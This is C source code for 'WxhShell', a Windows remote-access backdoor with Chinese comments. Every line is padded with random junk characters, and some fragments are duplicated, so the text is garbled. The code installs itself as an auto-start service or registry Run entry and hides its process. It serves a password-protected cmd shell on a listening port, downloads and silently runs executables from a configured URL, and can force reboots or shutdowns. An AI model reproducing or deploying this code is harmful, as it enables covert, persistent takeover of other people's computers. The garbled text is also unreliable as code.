Ek<Qz5) v]SxZLa HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )WoH>D if(NULL == hInst ) return 0; 5t%8y!s *EuX7LEu_ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); l,o'J%<% g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1]/;qNEv NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); iZNS? ^U Mxl;Im]!`. if (!NtQueryInformationProcess) return 0; :)lS9<Y} ]T)N{"&N/ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6xDk3 if(!hProcess) return 0; 1'f_C<.0 |:C0_`M9 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; s)WA9PiC ~\am%r> CloseHandle(hProcess); CU|E-XPW LzL)qdL hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^}P94( oz if(hProcess==NULL) return 0; (7qlp*8.s nXn@|J&z~U HMODULE hMod; 3(oMASf char procName[255]; AFi_P\X unsigned long cbNeeded; J$6WU z:? Z]Bv if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); d92Z;FWb eKOEOm+ CloseHandle(hProcess);
uF<34 [)V~U? if(strstr(procName,"services")) return 1; // 以服务启动 nT?+^Ruc ]$ d ;P return 0; // 注册表启动 ~HIj+kN } [7}3k?42X {dxFd-K3 // 主模块 tMw65Xei6b int StartWxhshell(LPSTR lpCmdLine) U5C]zswL { ,\i*vJ#f SOCKET wsl; X$UK;O BOOL val=TRUE; ?3~t%Q` int port=0; vb[0H{TT2 struct sockaddr_in door; '9!_:3[d\] jSpj6:@B if(wscfg.ws_autoins) Install(); l,J>[Q`< s?HK2b^;D port=atoi(lpCmdLine); =0?5hxM d lo!pslqsn if(port<=0) port=wscfg.ws_port; [yMSCCswW KKsVZ~<6u WSADATA data; ^N^G?{EV/# if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; sUlf4<_zW [2,D] e if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; I/w;4!+) setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }K?b2 6` door.sin_family = AF_INET; ;t*SG*Vi door.sin_addr.s_addr = inet_addr("127.0.0.1"); Gy\]j door.sin_port = htons(port); (l%?YME 68j1svz9 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,<
g%}P/ closesocket(wsl); HN7tIz@Frc return 1; /k/X[/WO } m}z6Bbis 0 -F?97&G$ if(listen(wsl,2) == INVALID_SOCKET) { q;[HUyY, closesocket(wsl); $9?:P}$v return 1; CF>&mXg\ } *sldv Wxhshell(wsl); ,Vq$>T@z WSACleanup(); vu)EB!%[ oz=V|7, return 0; c@g(_%_|2 =RHtugwy } !:xycLdfUp oh-EEo4, // 以NT服务方式启动 s[8M$YBf VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )y8Myb} { gIrbOMQ7 DWORD status = 0; hV~M!vFxA DWORD specificError = 0xfffffff; sg=G<50i xxs
+=.2 serviceStatus.dwServiceType = SERVICE_WIN32; %l8!p'a serviceStatus.dwCurrentState = SERVICE_START_PENDING; G2N0'R" serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8SU0q9X. serviceStatus.dwWin32ExitCode = 0; 0uD3a-J serviceStatus.dwServiceSpecificExitCode = 0; 'Y @yW3K serviceStatus.dwCheckPoint = 0; S(CkA\[rz serviceStatus.dwWaitHint = 0; SZXSVz0j v@]SddP,? hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); b_`h2dUq if (hServiceStatusHandle==0) return; r^6@Zwox] ?#GTD?3d status = GetLastError(); Y:/p0o if (status!=NO_ERROR) j*>Df2z { ]*P9=!x|M serviceStatus.dwCurrentState = SERVICE_STOPPED; gHc1_G] serviceStatus.dwCheckPoint = 0; ;:Z5Ft m serviceStatus.dwWaitHint = 0; iT:i
'\~ serviceStatus.dwWin32ExitCode = status; ]2l}[
w71| serviceStatus.dwServiceSpecificExitCode = specificError; "8%$,rG1& SetServiceStatus(hServiceStatusHandle, &serviceStatus); Zj -#"Gm return; adu6`2*$ } gs!'*U) oUn+tu: serviceStatus.dwCurrentState = SERVICE_RUNNING; J-/w{T8: serviceStatus.dwCheckPoint = 0; 9{4oz<U serviceStatus.dwWaitHint = 0; 8x-19# if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); / fUdb=!Z } y0Gblza c$,1j%[) // 处理NT服务事件,比如:启动、停止 p@O Ip VOID WINAPI NTServiceHandler(DWORD fdwControl) z2{y<a9;? { mKu,7nMvF switch(fdwControl) -BP10-V { Ms +ekY) case SERVICE_CONTROL_STOP: OIj.K@Kr serviceStatus.dwWin32ExitCode = 0; V'#R1 x"3 serviceStatus.dwCurrentState = SERVICE_STOPPED; 7k,BE2]" serviceStatus.dwCheckPoint = 0; q)9n%- YgP serviceStatus.dwWaitHint = 0; 2FaCrc/ { bD=H$) SetServiceStatus(hServiceStatusHandle, &serviceStatus); *lA+-gkK* } LU;zpXg\ return; @]IRB1X case SERVICE_CONTROL_PAUSE: cY5;~lO serviceStatus.dwCurrentState = SERVICE_PAUSED; HI{q# break; F?tWx+N<{ case SERVICE_CONTROL_CONTINUE: q6rkp f,Tl serviceStatus.dwCurrentState = SERVICE_RUNNING; ,+IFV break; S'^ q case SERVICE_CONTROL_INTERROGATE: ;o'r@4^&$R break; CyLwCS{V\ }; d+G%\qpzQ SetServiceStatus(hServiceStatusHandle, &serviceStatus); @:RoY vk$ } Dqo#+_v X+sKG5nS // 标准应用程序主函数 K"VcPDK int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) N$e
mS { Z[w}PN,xV #8M?y*<I // 获取操作系统版本 fZ & OsIsNt=GetOsVer(); W/\VpD) ?; GetModuleFileName(NULL,ExeFile,MAX_PATH); \,Ws=9f UFT JobU // 从命令行安装 pTi7Xy!Cw if(strpbrk(lpCmdLine,"iI")) Install(); AB\Ya4O"9 nK03x YA // 下载执行文件 5PZ!ZO& if(wscfg.ws_downexe) { ms5?^kS2O if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?Xvy0/s5 WinExec(wscfg.ws_filenam,SW_HIDE); ?e6>dNw } Uc:NW
wH!$TAZ:Yw if(!OsIsNt) { "G%</G8M // 如果时win9x,隐藏进程并且设置为注册表启动 2#:p:R8I> HideProc(); m-azd~r[ StartWxhshell(lpCmdLine); :0B 7lDw } 3e'6A ^# else Q;VuoHj! if(StartFromService()) ?-:2f#bC // 以服务方式启动 @kh<b<a4 StartServiceCtrlDispatcher(DispatchTable); 'm~=sC_uL else .e0)@}Jv8> // 普通方式启动 %gO/mj3* StartWxhshell(lpCmdLine); \mh #MMp ,.0bE
9\o return 0; MuOKauYa } T4wk$R
L l90"1I A MAkr9AKb, \AroSy9 =========================================== k o[w#j 9}9VZ r? l~;>KjZg t}_ #N'` *'{-!Y 3<W%z]k@M " lh'S_p8g y8s!sO #include <stdio.h> _xv3UzD #include <string.h> exhU!p8 #include <windows.h> @T\n@M] #include <winsock2.h> _Z[0:4 #include <winsvc.h> z5$Q"Y.D #include <urlmon.h> A`Dx]y HQm_ K0$ #pragma comment (lib, "Ws2_32.lib") ?MRY*[$ #pragma comment (lib, "urlmon.lib") p}JOiiHa I<940PZ #define MAX_USER 100 // 最大客户端连接数 Tp;W4]'a*: #define BUF_SOCK 200 // sock buffer 4{kH;~
z$ #define KEY_BUFF 255 // 输入 buffer ~i;{+j6Ho! t([}a~1} #define REBOOT 0 // 重启 e9[72V #define SHUTDOWN 1 // 关机 { V6pC G~<UP(G #define DEF_PORT 5000 // 监听端口 GAgTy * $f`ouJl #define REG_LEN 16 // 注册表键长度 ;B=aK"\ #define SVC_LEN 80 // NT服务名长度 ia'z9 Q"qI'*Kgt // 从dll定义API viAAb typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); yV8J-YdsG typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); vO1; ; typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6`CRT TJ7 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); EWD^=VITL '3672wF/ // wxhshell配置信息 Ldjz- struct WSCFG { S/5QK(XLC) int ws_port; // 监听端口 0h@FHw2d char ws_passstr[REG_LEN]; // 口令 *[]E5U int ws_autoins; // 安装标记, 1=yes 0=no X-HE9PT. char ws_regname[REG_LEN]; // 注册表键名 k B>F(^ char ws_svcname[REG_LEN]; // 服务名 AChz}N$C char ws_svcdisp[SVC_LEN]; // 服务显示名 |2q3spd char ws_svcdesc[SVC_LEN]; // 服务描述信息 A0)^I:& char ws_passmsg[SVC_LEN]; // 密码输入提示信息 f zo'9 int ws_downexe; // 下载执行标记, 1=yes 0=no h )
Wp char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 12n:)yQy char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &Pr\n&9A Zigv;}# }; [HQ)4xG *z0d~j*W; // default Wxhshell configuration Lg7A[\c
~ struct WSCFG wscfg={DEF_PORT, EhHxB
fAQ "xuhuanlingzhe", en< $.aY 1, {Uw
0zC "Wxhshell", =D/zC'l "Wxhshell", O6;"cUv "WxhShell Service", tON>wmN "Wrsky Windows CmdShell Service", sFFQ]ST2p "Please Input Your Password: ", |EE1S{!24m 1, 6^Wep- $ "http://www.wrsky.com/wxhshell.exe", &|>~7( "Wxhshell.exe" GF ux?8A:% }; |HK:\)L% ZUQ
_u // 消息定义模块 >Wr%usNxc char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; sP(+Z^/ char *msg_ws_prompt="\n\r? for help\n\r#>"; 5Ml=<^ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; HK!ecQ^+ char *msg_ws_ext="\n\rExit."; 6$r\p2pi0 char *msg_ws_end="\n\rQuit."; )]1hN;Nz char *msg_ws_boot="\n\rReboot..."; 6CBk=)qH char *msg_ws_poff="\n\rShutdown..."; dDPQDIx char *msg_ws_down="\n\rSave to "; _B^zm-}8|B ~18a&T: char *msg_ws_err="\n\rErr!"; WBE>0L char *msg_ws_ok="\n\rOK!"; C{}_Rb'x @V*dF|# / char ExeFile[MAX_PATH]; q\6(_U#Tl int nUser = 0; D`LBv,n HANDLE handles[MAX_USER]; B3#G int OsIsNt; ! K>iSF< KMRPleF SERVICE_STATUS serviceStatus; =5+*TL` SERVICE_STATUS_HANDLE hServiceStatusHandle; sasurR|; 6z 9
'|;,4 // 函数声明 TQ4@|S:OF int Install(void); {6'Xz int Uninstall(void); L|'^P3#7` int DownloadFile(char *sURL, SOCKET wsh); >pU9}2fpT int Boot(int flag); I/dy^5@F void HideProc(void); !$Nj! int GetOsVer(void); %T/@/,7h int Wxhshell(SOCKET wsl); K!-OUm5A void TalkWithClient(void *cs); X$Vi=f vt int CmdShell(SOCKET sock); fW-C`x int StartFromService(void); "}]$ag!`q$ int StartWxhshell(LPSTR lpCmdLine); j#](Q! Jxe+LG VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); W:d
p(,L VOID WINAPI NTServiceHandler( DWORD fdwControl ); \fA{ sehdL u7!9H<{>P // 数据结构和表定义 MYAt4cHc2 SERVICE_TABLE_ENTRY DispatchTable[] = [qYr~:` -[ { h|qJ{tUWc$ {wscfg.ws_svcname, NTServiceMain}, }|P3(*S {NULL, NULL} }E
'r?N }; |mb2<! ag{ 7j]v_2S` // 自我安装 ~e{ @ 5.g int Install(void) 1 R5pf { ZwmucY%3 char svExeFile[MAX_PATH]; -#|D> HKEY key; qA)OkR'm strcpy(svExeFile,ExeFile); cr1x
CPJj *T5;dh ( // 如果是win9x系统,修改注册表设为自启动 P$)g=/td1 if(!OsIsNt) { }s}g}t8v- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <)VgGjZ-H RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f`9Mcli! RegCloseKey(key); V
;T :Q% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZitM<Qi&y RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /DYyl/ RegCloseKey(key); X]0>0=^ return 0; <L&EH@T } *DL7p8 } ScPVjqG2{ } v,KKn\X else { AJPvwu}D ;P@]7vkff // 如果是NT以上系统,安装为系统服务 b9.M'P\ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5~*)3z^V if (schSCManager!=0) pCIzpEsRs { %$!3Pbui SC_HANDLE schService = CreateService t^rw@$"} ( )Z}AhX schSCManager, %By Pwu:f wscfg.ws_svcname, ~4~`bT9 wscfg.ws_svcdisp, yYG<tUG; SERVICE_ALL_ACCESS, Jup)m/ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =6%oW2E\ SERVICE_AUTO_START, 22\!Z2@T/ SERVICE_ERROR_NORMAL, EYAaK^ & svExeFile, 1\.$=N NULL, x$Dq0FX!%_ NULL, ;a:H-iC NULL, )BP*|URc NULL, K@D\5s|1| NULL )#=J<OpG ); ]\$/:f-2 if (schService!=0) +#W94s~0V { Gz[yD
~6a CloseServiceHandle(schService); aB9!}3@ CloseServiceHandle(schSCManager); ud1M-lY\U strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .Eao|; strcat(svExeFile,wscfg.ws_svcname); \CbJU if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { UtZ,q!sg RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); j)A#}4jd RegCloseKey(key); >| R'dF} return 0; Wa_qD } YGp+[|' } tK#R`AQ CloseServiceHandle(schSCManager); K5""%O+ } :{lwz#9V } GIC1]y-' "}4%v Zz return 1; 1yy?1&88S } i|YS>Pw~j mgs(n5V5 // 自我卸载 a?cJl int Uninstall(void) !vnQ;g5 { vF$i"^;tJ; HKEY key; gYpMwC{*d A'WR!*Yt if(!OsIsNt) { f:T?oR>2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { % RSZ. RegDeleteValue(key,wscfg.ws_regname); <n"BPXF~ RegCloseKey(key); D #ddx if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { QLA.;`HIE RegDeleteValue(key,wscfg.ws_regname); i!wU8@ RegCloseKey(key); cr7MvXF- return 0; $vO&C6m$ } O] _4pP } 7nZPh3% } e#eVc'=cDR else { x&}]8S) !40>LpL[ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /zn=AAYb if (schSCManager!=0) o5<<vvdA { '%)R}wgV SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); nla6QlFYn* if (schService!=0) [}RoZB&I { GK(CuwJe if(DeleteService(schService)!=0) { U)S=JT~h CloseServiceHandle(schService); 6_LeP9s ) CloseServiceHandle(schSCManager); 2Xb,
i return 0; 6%D9;-N) } )G? qX.D CloseServiceHandle(schService); ^)VwxH:s }
:|7#D,2 CloseServiceHandle(schSCManager); aQkOQy } |@qw } 3r\8v`^> d|`Ll return 1; v*;d } lWbu`y xNP_>Qa~ // 从指定url下载文件 7ubz7* int DownloadFile(char *sURL, SOCKET wsh) p 7? { vDy&sgS$< HRESULT hr; p7h#.m~Qu char seps[]= "/"; WWT1= #" char *token; EeIDlm0o char *file; }\pI`;*O| char myURL[MAX_PATH]; P T"}2sR) char myFILE[MAX_PATH]; tF2"IP. ~5 ^Jv m strcpy(myURL,sURL); H'+7z-%G token=strtok(myURL,seps); {4"V)9o-1> while(token!=NULL) 9g9 2eKS { S{YzHK file=token; u8e_Lqx? token=strtok(NULL,seps); jm_-f } )P$(]{ *bkb-nKw GetCurrentDirectory(MAX_PATH,myFILE); N<EVs.7 strcat(myFILE, "\\"); +)]YvZ6%[, strcat(myFILE, file); 7
,Rg~L send(wsh,myFILE,strlen(myFILE),0); :Pud%}' send(wsh,"...",3,0); c:R?da hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "Fz.#U if(hr==S_OK) "gM^o return 0; >rnVTK else U"oNJ8&%| return 1; |WS)KR ! n*4`Tduu^ } FLZ9pb[T }D/+YG // 系统电源模块 0=d2_YzSf int Boot(int flag) EM,C { MB plhVK8 HANDLE hToken; "kg`TJf= TOKEN_PRIVILEGES tkp; 7#8Gn=g =x~I'|%3 if(OsIsNt) { pwUXM?$R OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); eH&F gmU LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^aFm6HS1 tkp.PrivilegeCount = 1; 9I/b$$?D tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; yMs!6c* AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); S0$^|/Sr if(flag==REBOOT) { N2r zHK if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) AerU`^ return 0; }r}*=;Ea } ZWs else { V35Vi6*p if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &H(yLd[ return 0; I[z:;4W}L^ } jU,Xlgz(A } =8^+M1I else { OLw]BJXYaE if(flag==REBOOT) { LiJYyp if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .Po"qoGy return 0; _vQ52H, } qY_qS=H^ else { Vns3859$8 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~^t@TMk$ return 0; HDVimoOq } bMH~vR } y@P%t9l De $AJl return 1; gLiJ&H } 6W1GvM\e dBWny& // win9x进程隐藏模块 b
F=MQ void HideProc(void) tRjv- { ]5Cr$%H= ,5DJ54B! HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \j8vf0c5b if ( hKernel != NULL ) ]TV_p[L0B { 'C+cQLig@ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); pP<8zTLn ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
c{#2;k
Q, FreeLibrary(hKernel); /qpSmRL } h$S#fY8 =bKDD<( return; R|;BO:S1 } -Cf)`/ }$6L]
// 获取操作系统版本 oOFTQB_6 int GetOsVer(void) nep#L>LP$x { ;\MWxh,K OSVERSIONINFO winfo; XqH@3Ehk winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^W |YE72Y GetVersionEx(&winfo); 'Waazk[@O if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) K;K0D@>]HR return 1; 6Yai?*.Q else ;?h[WIy return 0; MBLZ:A |
C } xJq|,":gj q8 v iC| // 客户端句柄模块 qpQ;,8X-" int Wxhshell(SOCKET wsl) iO L$| Z( { l{By]S SOCKET wsh; RQ+, 7Ir struct sockaddr_in client; !V|{(>+< DWORD myID; (m]l -Re ["Zvwes#7 while(nUser<MAX_USER) G|i0n
{ ~id6^#&> int nSize=sizeof(client); zAgX{$/Fg wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Z0gtliJ@ if(wsh==INVALID_SOCKET) return 1; ;QI9 OcE@/ D
0Xl`0"' handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); p1N}2]e if(handles[nUser]==0) IQqUFP$8g closesocket(wsh); *>fr'jj1$ else *^>"
h@J nUser++; +VwQ=[y] } y6(PG:L WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {!,K[QwcI E@}F^0c return 0; ?Uql30A } l4C{LZ _!xrBdaJ // 关闭 socket IZVP- void CloseIt(SOCKET wsh) 8ud12^s$ { ?sfqg gi closesocket(wsh); O&!R7T nUser--; Tigw+2 ExitThread(0); 6St=r)_ } |Xt G9A> VcjbRpTy& // 客户端请求句柄 |}zWH=6 void TalkWithClient(void *cs) ay"jWL- { {C |R@S v,4{:y]p SOCKET wsh=(SOCKET)cs; +C~h( char pwd[SVC_LEN]; >Kgw2,y+ char cmd[KEY_BUFF]; q,v<:sS9T char chr[1]; QM,#:m1o int i,j; {}$9
70y -CPtYG[s while (nUser < MAX_USER) { 7x)Pt@c jAJ='|[X\ if(wscfg.ws_passstr) {
cILS if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3Z*r#d$nh: //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fA=Z):w //ZeroMemory(pwd,KEY_BUFF); 9QQ XB- i=0; Xv1vq
-cM while(i<SVC_LEN) { m*^)# zt.kNb // 设置超时 OqtGKda fd_set FdRead; ^*.[b struct timeval TimeOut; s'HsLe0| FD_ZERO(&FdRead); d/_D|ivZ= FD_SET(wsh,&FdRead); ;|Cdq TimeOut.tv_sec=8; ybaY+![* TimeOut.tv_usec=0; Ny^ 1#R int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !73y(Y%TE if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); c5]Xqq, ~${~To8$CW if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OG$n C pwd=chr[0]; Q2
q~m8( if(chr[0]==0xd || chr[0]==0xa) { e5_Hmuk| pwd=0; \, R; break; EN m%(G$ } 20Zxv! i++; <AgB"y@ } M}]
*j JFv70rBe // 如果是非法用户,关闭 socket SxF'2ii if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); aH}/+Hu- } kn3w6] RELNWr send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <4rnOQ: send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *aErwGLB8 .W]k8N E while(1) { l!ow\ZuQBF BN*:*cmUl ZeroMemory(cmd,KEY_BUFF); l7`{ O/hN &'6/H/J // 自动支持客户端 telnet标准 HZ3;2k j=0; [>ghs_?dZ while(j<KEY_BUFF) { (%_X{R' if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %q5dV<X'c cmd[j]=chr[0]; [,;Y5#Y[5 if(chr[0]==0xa || chr[0]==0xd) { !*]i3 ,{7v cmd[j]=0; 4DL;Y break; } c G)$E } CL0lMZ j++; -A#p22D,5 } 8LV6E5Q /2Izj/Q // 下载文件 M?l v if(strstr(cmd,"http://")) { bjVk9XvH6 send(wsh,msg_ws_down,strlen(msg_ws_down),0); @a9.s if(DownloadFile(cmd,wsh)) UL[,A+X8D send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4cQP+ n else KV0*dB; send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k^
<]:B } l~J d>9DwY else { Fz#@ [1, X>I3N?5 switch(cmd[0]) { U["0B8 r+#{\~r7T // 帮助 x2v0cR"KL case '?': { N7?]eD send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )rEl{a break; Y` }X5(A@ } @i#JlZM_ // 安装 !!\}-r^y% case 'i': { @}y. if(Install()) HOx4FXPs send(wsh,msg_ws_err,strlen(msg_ws_err),0); (dlp5:lQz
else 88HqP!m%P: send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <::lfPP break; >/ay'EyY;> } L[<#>/NPy // 卸载 ;6/WjUDw<| case 'r': { m>=DJ{KQ if(Uninstall()) SKC;@? send(wsh,msg_ws_err,strlen(msg_ws_err),0); J9lZ1,22 else 4iA F<|6s send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :#:|:q.] break;
3\W/VBJJ } hs7!S+[.$$ // 显示 wxhshell 所在路径 N
sdpE?V case 'p': { }y6)d. char svExeFile[MAX_PATH]; @43psq1 strcpy(svExeFile,"\n\r"); <,CrE5Pl strcat(svExeFile,ExeFile); U:8[%a send(wsh,svExeFile,strlen(svExeFile),0); t7by OMC break; qyM/p.mP } J>(X0@eWz // 重启 TuQGF$n@ case 'b': { xM%4/QE+ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); tp`1S+'~j if(Boot(REBOOT)) ??F* Z" x send(wsh,msg_ws_err,strlen(msg_ws_err),0); u1meysa{0 else { 4Ly>x>b< closesocket(wsh); F85_Lz4 ExitThread(0); '=0}2sF> } ZWkRoJXNi break; ko9}?qs } "{~5QO // 关机 @1CXc"IgA case 'd': { ?xR7Ii3 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^m z9sV if(Boot(SHUTDOWN)) M
v6 ^(' send(wsh,msg_ws_err,strlen(msg_ws_err),0); l.@1]4. else { d-b04Q7DQ closesocket(wsh); K/W=r ExitThread(0); uHU@j(&c } $Ivjcs: break; 8m")
)i- } %jtUbBN // 获取shell e!5} #6Kd case 's': { w(@r-2D" CmdShell(wsh); Jk*cuf`rq closesocket(wsh); 7}&:07U ExitThread(0); _:Qh1 &h break; krfXvQJwJ } F` ybe\ // 退出 xFF!)k # case 'x': { v@zi?D K send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Gd!-fqNa'x CloseIt(wsh); ?Ek)" l break; M!,H0(@G } hC2Fup1 @ // 离开 `n$Ak5f case 'q': { Z1 Nep! send(wsh,msg_ws_end,strlen(msg_ws_end),0); z>N[veX% closesocket(wsh); :7K
a4 WSACleanup(); Et3]n$ exit(1); ILm+o$o~ break; (H_dZL } V|u2(* } uo`R }
y X!u& I/7!5Z* // 提示信息 brA#p>4]Wf if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F'XQoZ* 1 } M">v4f&K1! } rxyv+@~Nc k ]NZ%. return; 8R*;8y_ } AA5G`LiT Um+_S@h // shell模块句柄 DZ|*hQU>K int CmdShell(SOCKET sock) L"ho|v9: { `N\ ^JAGW STARTUPINFO si; :9QU\{2 ZeroMemory(&si,sizeof(si)); pyhXET
' si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |mtW) si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ZxvH1qx8 PROCESS_INFORMATION ProcessInfo; h:fiUCw char cmdline[]="cmd"; [e><^R*u CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9d"*Z%!j return 0; 5e7Y M@ng } ox&5}&\ 3%*igpj\) // 自身启动模式 jf3Zy:*K int StartFromService(void) jt}Re, { 7.29' typedef struct 7wj2-BWa { 4vg3F( DWORD ExitStatus; :$D*ab^^P DWORD PebBaseAddress; ehW [LRtq DWORD AffinityMask; qcs)
p DWORD BasePriority; _UVpQ5pN ULONG UniqueProcessId; ob>)F^.iS ULONG InheritedFromUniqueProcessId; eB~\~@ } PROCESS_BASIC_INFORMATION; u
8o! JwMRquQv PROCNTQSIP NtQueryInformationProcess; @V:K]M 5 Wx0i_HFR static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]0D- g2!|A static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; VgbNZ{qk@ ^t'mW;C$4 HANDLE hProcess; eJoM4v PROCESS_BASIC_INFORMATION pbi; p-$C*0{ z)T-<zWO; HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); qy|bOl if(NULL == hInst ) return 0; {\5(aQ)Vi5 [ K? g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;^/ruf[t g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Rs=Fcvl NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); g!^N#o 2 `AdNt, if (!NtQueryInformationProcess) return 0; +,spC`M6h /<-PW9X? hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !*v%
s if(!hProcess) return 0; OH@"]Nc~ k^}[+IFJ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; pwN2Nzski Yh95W CloseHandle(hProcess); 'bx}[
<PSz`)SN hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); s:_hsmc" if(hProcess==NULL) return 0;
